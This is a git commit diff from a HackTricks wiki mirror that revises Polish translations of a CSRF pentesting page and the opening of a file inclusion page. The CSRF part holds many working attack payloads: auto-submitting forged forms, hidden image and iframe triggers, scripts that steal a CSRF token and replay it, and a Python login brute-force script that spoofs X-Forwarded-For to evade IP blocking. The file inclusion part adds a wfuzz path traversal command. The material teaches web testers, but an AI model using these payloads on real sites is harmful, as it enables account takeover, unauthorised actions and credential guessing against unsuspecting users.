mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/reset-password.md', 'src/pentesting-
This commit is contained in:
parent
a2be02d090
commit
74119dd89c
@ -4,83 +4,111 @@
|
||||
|
||||
## Wyjaśnienie Cross-Site Request Forgery (CSRF)
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** to rodzaj luki w zabezpieczeniach występującej w aplikacjach internetowych. Umożliwia ona atakującym wykonywanie działań w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest realizowany, gdy użytkownik, który jest zalogowany na platformie ofiary, odwiedza złośliwą stronę. Strona ta następnie wywołuje żądania do konta ofiary za pomocą metod takich jak wykonywanie JavaScript, przesyłanie formularzy lub pobieranie obrazów.
|
||||
**Cross-Site Request Forgery (CSRF)** to rodzaj podatności bezpieczeństwa występującej w aplikacjach webowych. Pozwala atakującym wykonywać akcje w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest przeprowadzany, gdy użytkownik zalogowany w serwisie ofiary odwiedza złośliwą stronę, która następnie wywołuje żądania do konta ofiary poprzez np. uruchamianie JavaScript, wysyłanie formularzy lub pobieranie obrazów.
|
||||
|
||||
### Wymagania wstępne do ataku CSRF
|
||||
### Wymagania wstępne dla ataku CSRF
|
||||
|
||||
Aby wykorzystać lukę CSRF, musi być spełnionych kilka warunków:
|
||||
Aby wykorzystać podatność CSRF, musi być spełnionych kilka warunków:
|
||||
|
||||
1. **Zidentyfikowanie wartościowej akcji**: Atakujący musi znaleźć akcję wartą wykorzystania, taką jak zmiana hasła użytkownika, adresu e-mail lub podniesienie uprawnień.
|
||||
2. **Zarządzanie sesją**: Sesja użytkownika powinna być zarządzana wyłącznie za pomocą ciasteczek lub nagłówka HTTP Basic Authentication, ponieważ inne nagłówki nie mogą być manipulowane w tym celu.
|
||||
3. **Brak nieprzewidywalnych parametrów**: Żądanie nie powinno zawierać nieprzewidywalnych parametrów, ponieważ mogą one uniemożliwić atak.
|
||||
1. **Zidentyfikować wartościową akcję**: atakujący musi znaleźć akcję wartą wykorzystania, np. zmianę hasła, adresu email lub podniesienie uprawnień.
|
||||
2. **Zarządzanie sesją**: sesja użytkownika powinna być zarządzana wyłącznie za pomocą cookies lub nagłówka HTTP Basic Authentication, ponieważ inne nagłówki nie mogą zostać zmanipulowane w tym celu.
|
||||
3. **Brak nieprzewidywalnych parametrów**: żądanie nie powinno zawierać nieprzewidywalnych parametrów, które mogą uniemożliwić atak.
|
||||
|
||||
### Szybka kontrola
|
||||
### Szybka weryfikacja
|
||||
|
||||
Możesz **przechwycić żądanie w Burp** i sprawdzić zabezpieczenia CSRF, a aby przetestować z przeglądarki, możesz kliknąć **Kopiuj jako fetch** i sprawdzić żądanie:
|
||||
Możesz **przechwycić żądanie w Burp** i sprawdzić zabezpieczenia CSRF; aby przetestować z poziomu przeglądarki, kliknij **Copy as fetch** i sprawdź żądanie:
|
||||
|
||||
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ochrona przed CSRF
|
||||
### Obrona przed CSRF
|
||||
|
||||
Można wdrożyć kilka środków zaradczych, aby chronić przed atakami CSRF:
|
||||
Kilka środków zapobiegawczych, które można wdrożyć, aby chronić przed atakami CSRF:
|
||||
|
||||
- [**Ciasteczka SameSite**](hacking-with-cookies/index.html#samesite): Atrybut ten zapobiega przeglądarce w wysyłaniu ciasteczek wraz z żądaniami między witrynami. [Więcej o ciasteczkach SameSite](hacking-with-cookies/index.html#samesite).
|
||||
- [**Udostępnianie zasobów między źródłami**](cors-bypass.md): Polityka CORS witryny ofiary może wpływać na wykonalność ataku, szczególnie jeśli atak wymaga odczytania odpowiedzi z witryny ofiary. [Dowiedz się o obejściu CORS](cors-bypass.md).
|
||||
- **Weryfikacja użytkownika**: Prośba o hasło użytkownika lub rozwiązanie captcha może potwierdzić intencje użytkownika.
|
||||
- **Sprawdzanie nagłówków Referrer lub Origin**: Walidacja tych nagłówków może pomóc zapewnić, że żądania pochodzą z zaufanych źródeł. Jednak staranne konstruowanie adresów URL może obejść źle wdrożone kontrole, takie jak:
|
||||
- Użycie `http://mal.net?orig=http://example.com` (adres URL kończy się zaufanym adresem URL)
|
||||
- Użycie `http://example.com.mal.net` (adres URL zaczyna się zaufanym adresem URL)
|
||||
- **Modyfikacja nazw parametrów**: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu zautomatyzowanym atakom.
|
||||
- **Tokeny CSRF**: Wprowadzenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach może znacznie zmniejszyć ryzyko CSRF. Skuteczność tokena można zwiększyć, egzekwując CORS.
|
||||
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): Ten atrybut uniemożliwia przeglądarce wysyłanie ciasteczek wraz z żądaniami cross-site. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
|
||||
- [**Cross-origin resource sharing**](cors-bypass.md): Polityka CORS serwisu ofiary może wpłynąć na wykonalność ataku, zwłaszcza jeśli atak wymaga odczytania odpowiedzi z serwisu ofiary. [Learn about CORS bypass](cors-bypass.md).
|
||||
- **Weryfikacja użytkownika**: poproszenie o podanie hasła lub rozwiązanie captchy może potwierdzić intencję użytkownika.
|
||||
- **Sprawdzanie nagłówków Referrer lub Origin**: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą z zaufanych źródeł. Jednak staranne przygotowanie URLi może obchodzić źle zaimplementowane sprawdzenia, np.:
|
||||
- Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
|
||||
- Using `http://example.com.mal.net` (URL starts with the trusted URL)
|
||||
- **Modyfikacja nazw parametrów**: zmiana nazw parametrów w żądaniach POST lub GET może utrudnić automatyczne ataki.
|
||||
- **CSRF Tokens**: Włączenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach znacząco zmniejsza ryzyko CSRF. Skuteczność tokena można zwiększyć poprzez egzekwowanie CORS.
|
||||
|
||||
Zrozumienie i wdrożenie tych zabezpieczeń jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji internetowych.
|
||||
Zrozumienie i wdrożenie tych mechanizmów obronnych jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji webowych.
|
||||
|
||||
## Obejście zabezpieczeń
|
||||
## Defences Bypass
|
||||
|
||||
### Z POST do GET
|
||||
### From POST to GET (method-conditioned CSRF validation bypass)
|
||||
|
||||
Może się zdarzyć, że formularz, który chcesz wykorzystać, jest przygotowany do wysyłania **żądania POST z tokenem CSRF, ale** powinieneś **sprawdzić**, czy **GET** jest również **ważny** i czy podczas wysyłania żądania GET **token CSRF nadal jest weryfikowany**.
|
||||
Niektóre aplikacje wymagają weryfikacji CSRF tylko dla POST, pomijając ją dla innych metod HTTP. Typowy antywzorzec w PHP wygląda tak:
|
||||
```php
|
||||
public function csrf_check($fatal = true) {
|
||||
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
|
||||
// ... validate __csrf_token here ...
|
||||
}
|
||||
```
|
||||
Jeśli podatny endpoint akceptuje także parametry z $_REQUEST, możesz ponownie wykonać tę samą akcję jako żądanie GET i całkowicie pominąć CSRF token. To zamienia akcję dostępną tylko przez POST w akcję GET, która zakończy się powodzeniem bez tokena.
|
||||
|
||||
Przykład:
|
||||
|
||||
- Original POST with token (intended):
|
||||
|
||||
```http
|
||||
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
|
||||
```
|
||||
|
||||
- Bypass by switching to GET (no token):
|
||||
|
||||
```http
|
||||
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
|
||||
```
|
||||
|
||||
Uwagi:
|
||||
- Ten wzorzec często występuje razem z reflected XSS, gdy odpowiedzi są błędnie serwowane jako text/html zamiast application/json.
|
||||
- Połączenie tego z XSS znacznie obniża bariery eksploatacji, ponieważ możesz dostarczyć pojedynczy link GET, który jednocześnie wyzwala podatną ścieżkę kodu i całkowicie omija sprawdzanie CSRF.
|
||||
|
||||
### Brak tokena
|
||||
|
||||
Aplikacje mogą wdrożyć mechanizm do **walidacji tokenów**, gdy są obecne. Jednak luka powstaje, jeśli walidacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą to wykorzystać, **usuwając parametr**, który przenosi token, a nie tylko jego wartość. Umożliwia to obejście procesu walidacji i skuteczne przeprowadzenie ataku Cross-Site Request Forgery (CSRF).
|
||||
Aplikacje mogą implementować mechanizm, aby **validate tokens** gdy są obecne. Jednak powstaje luka, jeśli walidacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą to wykorzystać poprzez **usunięcie parametru**, który zawiera token, a nie tylko jego wartość. Pozwala to obejść proces walidacji i skutecznie przeprowadzić Cross-Site Request Forgery (CSRF).
|
||||
|
||||
### Token CSRF nie jest powiązany z sesją użytkownika
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Aplikacje **niepowiązujące tokenów CSRF z sesjami użytkowników** stanowią znaczące **ryzyko bezpieczeństwa**. Te systemy weryfikują tokeny w stosunku do **globalnej puli**, zamiast zapewnić, że każdy token jest związany z inicjującą sesją.
|
||||
Aplikacje, które nie wiążą CSRF token z sesjami użytkowników, stanowią poważne ryzyko bezpieczeństwa. Systemy te weryfikują tokeny przeciwko globalnemu zbiorowi zamiast upewnić się, że każdy token jest powiązany z sesją inicjującą.
|
||||
|
||||
Oto jak atakujący to wykorzystują:
|
||||
|
||||
1. **Uwierzytelniają się** za pomocą własnego konta.
|
||||
2. **Uzyskują ważny token CSRF** z globalnej puli.
|
||||
3. **Używają tego tokena** w ataku CSRF przeciwko ofierze.
|
||||
1. Zaloguj się używając własnego konta.
|
||||
2. Uzyskaj ważny CSRF token z globalnego zbioru.
|
||||
3. Użyj tego tokena w ataku CSRF przeciwko ofierze.
|
||||
|
||||
Ta luka pozwala atakującym na składanie nieautoryzowanych żądań w imieniu ofiary, wykorzystując **niewystarczający mechanizm walidacji tokenów** aplikacji.
|
||||
Ta luka pozwala atakującym wykonywać nieautoryzowane żądania w imieniu ofiary, wykorzystując niewystarczający mechanizm walidacji tokenów aplikacji.
|
||||
|
||||
### Obejście metody
|
||||
### Method bypass
|
||||
|
||||
Jeśli żądanie używa "**dziwnej**" **metody**, sprawdź, czy funkcjonalność **przełamania metody** działa. Na przykład, jeśli **używa metody PUT**, możesz spróbować **użyć metody POST** i **wysłać**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Jeśli żądanie używa "dziwnej" metody, sprawdź, czy działa funkcja method override. Na przykład, jeśli używa metody PUT możesz spróbować użyć metody POST i wysłać: _https://example.com/my/dear/api/val/num?__method=PUT_
|
||||
|
||||
Może to również działać, wysyłając **parametr \_method wewnątrz żądania POST** lub używając **nagłówków**:
|
||||
Może to także zadziałać, wysyłając parametr _method_ wewnątrz żądania POST lub używając nagłówków:
|
||||
|
||||
- _X-HTTP-Method_
|
||||
- _X-HTTP-Method-Override_
|
||||
- _X-Method-Override_
|
||||
|
||||
### Obejście tokena nagłówka niestandardowego
|
||||
### Custom header token bypass
|
||||
|
||||
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania jako **metodę ochrony CSRF**, to:
|
||||
Jeśli żądanie dodaje niestandardowy header z tokenem jako metodę ochrony CSRF, to:
|
||||
|
||||
- Przetestuj żądanie bez **Niestandardowego Tokena i również nagłówka.**
|
||||
- Przetestuj żądanie z dokładnie **tą samą długością, ale innym tokenem**.
|
||||
- Przetestuj żądanie bez niestandardowego tokena i bez nagłówka.
|
||||
- Przetestuj żądanie z tokenem o tej samej długości, ale innym tokenem.
|
||||
|
||||
### Token CSRF jest weryfikowany przez ciasteczko
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
Aplikacje mogą wdrożyć ochronę CSRF, duplikując token zarówno w ciasteczku, jak i w parametrze żądania lub ustawiając ciasteczko CSRF i weryfikując, czy token wysłany w backendzie odpowiada wartości w ciasteczku. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w ciasteczku.
|
||||
Aplikacje mogą implementować ochronę CSRF poprzez duplikowanie tokena zarówno w cookie, jak i w parametrze żądania, lub poprzez ustawienie CSRF cookie i weryfikowanie, czy token przesłany w backendzie odpowiada cookie. Aplikacja waliduje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w cookie.
|
||||
|
||||
Jednak ta metoda jest podatna na ataki CSRF, jeśli witryna ma wady umożliwiające atakującemu ustawienie ciasteczka CSRF w przeglądarce ofiary, takie jak luka CRLF. Atakujący mogą to wykorzystać, ładując zwodniczy obraz, który ustawia ciasteczko, a następnie inicjując atak CSRF.
|
||||
Jednak ta metoda jest podatna na ataki CSRF, jeśli serwis ma luki pozwalające atakującemu ustawić CSRF cookie w przeglądarce ofiary, np. luka CRLF. Atakujący może to wykorzystać, ładując zwodniczy obraz, który ustawia cookie, a następnie inicjuje atak CSRF.
|
||||
|
||||
Poniżej znajduje się przykład, jak mógłby być skonstruowany atak:
|
||||
Poniżej przykład, jak mógłby wyglądać taki atak:
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
|
||||
@ -103,19 +131,19 @@ onerror="document.forms[0].submit();" />
|
||||
</html>
|
||||
```
|
||||
> [!TIP]
|
||||
> Zauważ, że jeśli **token csrf jest powiązany z ciasteczkiem sesji, ta atak nie zadziała**, ponieważ będziesz musiał ustawić ofierze swoją sesję, a zatem będziesz atakować siebie.
|
||||
> Zwróć uwagę, że jeśli **csrf token is related with the session cookie this attack won't work** ponieważ będziesz musiał ustawić victim swoją session, a w konsekwencji zaatakujesz samego siebie.
|
||||
|
||||
### Zmiana Content-Type
|
||||
|
||||
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć** żądań preflight przy użyciu metody **POST**, dozwolone są następujące wartości Content-Type:
|
||||
Zgodnie z [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć żądań preflight** przy użyciu metody **POST**, dozwolone są następujące wartości Content-Type:
|
||||
|
||||
- **`application/x-www-form-urlencoded`**
|
||||
- **`multipart/form-data`**
|
||||
- **`text/plain`**
|
||||
|
||||
Jednakże, zauważ, że **logika serwera może się różnić** w zależności od używanego **Content-Type**, więc powinieneś spróbować wymienionych wartości oraz innych, takich jak **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Jednak zwróć uwagę, że **severs logic may vary** w zależności od użytego **Content-Type**, więc powinieneś wypróbować wymienione wartości oraz inne, takie jak **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Przykład (z [tutaj](https://brycec.me/posts/corctf_2021_challenges)) wysyłania danych JSON jako text/plain:
|
||||
Przykład (z [here](https://brycec.me/posts/corctf_2021_challenges)) wysyłania danych JSON jako text/plain:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -134,32 +162,32 @@ form.submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Ominięcie żądań wstępnych dla danych JSON
|
||||
### Bypassing Preflight Requests for JSON Data
|
||||
|
||||
Podczas próby wysłania danych JSON za pomocą żądania POST, użycie `Content-Type: application/json` w formularzu HTML nie jest bezpośrednio możliwe. Podobnie, wykorzystanie `XMLHttpRequest` do wysłania tego typu treści inicjuje żądanie wstępne. Niemniej jednak, istnieją strategie, które mogą potencjalnie obejść to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type:
|
||||
Przy próbie wysłania danych JSON przez żądanie POST, ustawienie `Content-Type: application/json` w formularzu HTML nie jest bezpośrednio możliwe. Podobnie użycie `XMLHttpRequest` do wysłania tego typu treści powoduje żądanie preflight. Niemniej jednak istnieją sposoby, by potencjalnie obejść to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type:
|
||||
|
||||
1. **Użyj alternatywnych typów treści**: Zastosuj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. To podejście testuje, czy backend wykorzystuje dane niezależnie od Content-Type.
|
||||
2. **Zmień typ treści**: Aby uniknąć żądania wstępnego, zapewniając jednocześnie, że serwer rozpoznaje treść jako JSON, możesz wysłać dane z `Content-Type: text/plain; application/json`. To nie wywołuje żądania wstępnego, ale może być poprawnie przetwarzane przez serwer, jeśli jest skonfigurowany do akceptacji `application/json`.
|
||||
3. **Wykorzystanie pliku SWF Flash**: Mniej powszechną, ale wykonalną metodą jest użycie pliku SWF Flash do ominięcia takich ograniczeń. Aby uzyskać szczegółowe zrozumienie tej techniki, zapoznaj się z [tym postem](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
1. **Use Alternative Content Types**: Użyj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. Podejście to sprawdza, czy backend wykorzystuje dane niezależnie od Content-Type.
|
||||
2. **Modify Content Type**: Aby uniknąć żądania preflight i jednocześnie sprawić, by serwer rozpoznał zawartość jako JSON, można wysłać dane z `Content-Type: text/plain; application/json`. Nie wywoła to preflight, ale może zostać poprawnie przetworzone przez serwer, jeśli jest skonfigurowany do akceptowania `application/json`.
|
||||
3. **SWF Flash File Utilization**: Mniej powszechna, ale możliwa metoda polega na użyciu pliku SWF flash, aby obejść takie ograniczenia. Aby poznać technikę szczegółowo, odnieś się do [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
||||
|
||||
### Ominięcie sprawdzania Referrer / Origin
|
||||
### Referrer / Origin check bypass
|
||||
|
||||
**Unikaj nagłówka Referrer**
|
||||
**Avoid Referrer header**
|
||||
|
||||
Aplikacje mogą weryfikować nagłówek 'Referer' tylko wtedy, gdy jest on obecny. Aby zapobiec przeglądarce wysyłaniu tego nagłówka, można użyć następującego tagu meta HTML:
|
||||
Aplikacje mogą sprawdzać nagłówek 'Referer' tylko gdy jest on obecny. Aby zapobiec wysyłaniu tego nagłówka przez przeglądarkę, można użyć następującego znacznika meta HTML:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
To zapewnia, że nagłówek 'Referer' jest pomijany, co może omijać kontrole walidacji w niektórych aplikacjach.
|
||||
To powoduje, że nagłówek 'Referer' jest pomijany, potencjalnie omijając kontrole walidacji w niektórych aplikacjach.
|
||||
|
||||
**Obejścia Regexp**
|
||||
**Regexp bypasses**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
Aby ustawić nazwę domeny serwera w URL, który Referrer ma wysłać w parametrach, możesz to zrobić:
|
||||
Aby ustawić nazwę domeny serwera w URL, którą Referrer wyśle w parametrach, możesz zrobić:
|
||||
```html
|
||||
<html>
|
||||
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
||||
@ -188,25 +216,25 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Obejście metody HEAD**
|
||||
### **HEAD method bypass**
|
||||
|
||||
Pierwsza część [**tego opisu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśnia, że [kod źródłowy Oaka](https://github.com/oakserver/oak/blob/main/router.ts#L281), router jest ustawiony na **obsługę żądań HEAD jako żądań GET** bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oaka. Zamiast konkretnego handlera, który zajmuje się żądaniami HEAD, są one po prostu **przekazywane do handlera GET, ale aplikacja po prostu usuwa ciało odpowiedzi**.
|
||||
Pierwsza część [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśnia, że w [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) router jest ustawiony tak, aby **handle HEAD requests as GET requests** bez response body — powszechne obejście, które nie jest unikatowe dla Oak. Zamiast dedykowanego handlera obsługującego HEAD reqs, są one po prostu **given to the GET handler but the app just removes the response body**.
|
||||
|
||||
Dlatego, jeśli żądanie GET jest ograniczone, możesz po prostu **wysłać żądanie HEAD, które zostanie przetworzone jako żądanie GET**.
|
||||
Dlatego, jeśli GET request jest ograniczony, możesz po prostu **send a HEAD request that will be processed as a GET request**.
|
||||
|
||||
## **Przykłady Eksploatacji**
|
||||
## **Exploit Examples**
|
||||
|
||||
### **Ekstrakcja tokena CSRF**
|
||||
### **Exfiltrating CSRF Token**
|
||||
|
||||
Jeśli **token CSRF** jest używany jako **ochrona**, możesz spróbować **ekstrahować go**, wykorzystując lukę [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) lub lukę [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
Jeśli **CSRF token** jest używany jako **defence**, możesz spróbować **exfiltrate it** wykorzystując podatność [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) lub podatność [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### **GET przy użyciu tagów HTML**
|
||||
### **GET using HTML tags**
|
||||
```xml
|
||||
<img src="http://google.es?param=VALUE" style="display:none" />
|
||||
<h1>404 - Page not found</h1>
|
||||
The URL you are requesting is no longer available
|
||||
```
|
||||
Inne tagi HTML5, które mogą być używane do automatycznego wysyłania żądania GET to:
|
||||
Inne tagi HTML5, które można użyć do automatycznego wysłania żądania GET, to:
|
||||
```html
|
||||
<iframe src="..."></iframe>
|
||||
<script src="..."></script>
|
||||
@ -235,7 +263,7 @@ background: url("...");
|
||||
</video>
|
||||
</audio>
|
||||
```
|
||||
### Wysyłanie żądania GET
|
||||
### Formularz — żądanie GET
|
||||
```html
|
||||
<html>
|
||||
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
||||
@ -281,7 +309,7 @@ document.forms[0].submit() //Way 3 to autosubmit
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### Wysłanie żądania POST formularza przez iframe
|
||||
### Żądanie POST formularza przez iframe
|
||||
```html
|
||||
<!--
|
||||
The request is sent through the iframe withuot reloading the page
|
||||
@ -304,7 +332,7 @@ document.forms[0].submit()
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
### **Ajax POST request**
|
||||
### **Ajax żądanie POST**
|
||||
```html
|
||||
<script>
|
||||
var xh
|
||||
@ -333,7 +361,7 @@ data: "param=value¶m2=value2",
|
||||
})
|
||||
</script>
|
||||
```
|
||||
### multipart/form-data POST request
|
||||
### multipart/form-data żądanie POST
|
||||
```javascript
|
||||
myFormData = new FormData()
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
|
||||
@ -374,7 +402,7 @@ body += "--" + boundary + "--"
|
||||
//xhr.send(body);
|
||||
xhr.sendAsBinary(body)
|
||||
```
|
||||
### Wysłanie żądania POST formularza z poziomu iframe
|
||||
### Żądanie POST formularza wewnątrz iframe
|
||||
```html
|
||||
<--! expl.html -->
|
||||
|
||||
@ -398,7 +426,7 @@ document.getElementById("formulario").submit()
|
||||
</body>
|
||||
</body>
|
||||
```
|
||||
### **Kradnij token CSRF i wyślij żądanie POST**
|
||||
### **Wykradnij token CSRF i wyślij żądanie POST**
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest()
|
||||
@ -445,7 +473,7 @@ var GET_URL = "http://google.com?param=VALUE"
|
||||
var POST_URL = "http://google.com?param=VALUE"
|
||||
getTokenJS()
|
||||
```
|
||||
### **Kradnij token CSRF i wyślij żądanie Post za pomocą iframe, formularza i Ajax**
|
||||
### **Wykradnij CSRF Token i wyślij Post request przy użyciu iframe, form i Ajax**
|
||||
```html
|
||||
<form
|
||||
id="form1"
|
||||
@ -473,7 +501,7 @@ style="display:none"
|
||||
src="http://google.com?param=VALUE"
|
||||
onload="javascript:f1();"></iframe>
|
||||
```
|
||||
### **Kradnij token CSRF i wyślij żądanie POST za pomocą iframe i formularza**
|
||||
### **Ukradnij CSRF Token i wyślij żądanie POST używając iframe i formularza**
|
||||
```html
|
||||
<iframe
|
||||
id="iframe"
|
||||
@ -506,7 +534,7 @@ document.forms[0].submit.click()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### **Kradnij token i wyślij go za pomocą 2 iframe'ów**
|
||||
### **Wykradnij token i wyślij go przy użyciu 2 iframes**
|
||||
```html
|
||||
<script>
|
||||
var token;
|
||||
@ -536,7 +564,7 @@ height="600" width="800"></iframe>
|
||||
<button type="submit">Submit</button>
|
||||
</form>
|
||||
```
|
||||
### **POSTSteal token CSRF za pomocą Ajax i wyślij post z formularzem**
|
||||
### **POSTSteal CSRF token za pomocą Ajax i wysłać post za pomocą formularza**
|
||||
```html
|
||||
<body onload="getData()">
|
||||
<form
|
||||
@ -589,7 +617,7 @@ room: username,
|
||||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Kod może być użyty do przeprowadzenia ataku Brute Force na formularz logowania z użyciem tokena CSRF (używa również nagłówka X-Forwarded-For, aby spróbować obejść ewentualne czarne listy IP):
|
||||
Kod może być użyty do Brut Force formularza logowania przy użyciu tokena CSRF (Używa także nagłówka X-Forwarded-For, aby spróbować obejść ewentualne zablokowanie IP):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
@ -638,13 +666,12 @@ login(USER, line.strip())
|
||||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
|
||||
## Odniesienia
|
||||
## Źródła
|
||||
|
||||
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod i serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Serwer ładuje lokalny plik.
|
||||
|
||||
Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który ma być załadowany przez serwer.
|
||||
Luka występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który ma zostać załadowany przez serwer.
|
||||
|
||||
Vulnerable **PHP functions**: require, require_once, include, include_once
|
||||
Funkcje **PHP** podatne: require, require_once, include, include_once
|
||||
|
||||
Interesujące narzędzie do wykorzystania tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Ciekawe narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Mieszając kilka list LFI dla \*nix i dodając więcej ścieżek, stworzyłem tę:**
|
||||
**Łącząc kilka list LFI \*nix i dodając więcej ścieżek, stworzyłem tę jedną:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Spróbuj również zmienić `/` na `\`\
|
||||
Spróbuj również dodać `../../../../../`
|
||||
Spróbuj także zmienić `/` na `\`\
|
||||
Spróbuj także dodać `../../../../../`
|
||||
|
||||
Lista, która wykorzystuje kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy luka istnieje), znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Listę, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy vulnerability istnieje) można znaleźć [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Połączenie różnych list słów:
|
||||
Połączenie różnych wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Spróbuj również zmienić `/` na `\`\
|
||||
Spróbuj również usunąć `C:/` i dodać `../../../../../`
|
||||
Spróbuj także zmienić `/` na `\`\
|
||||
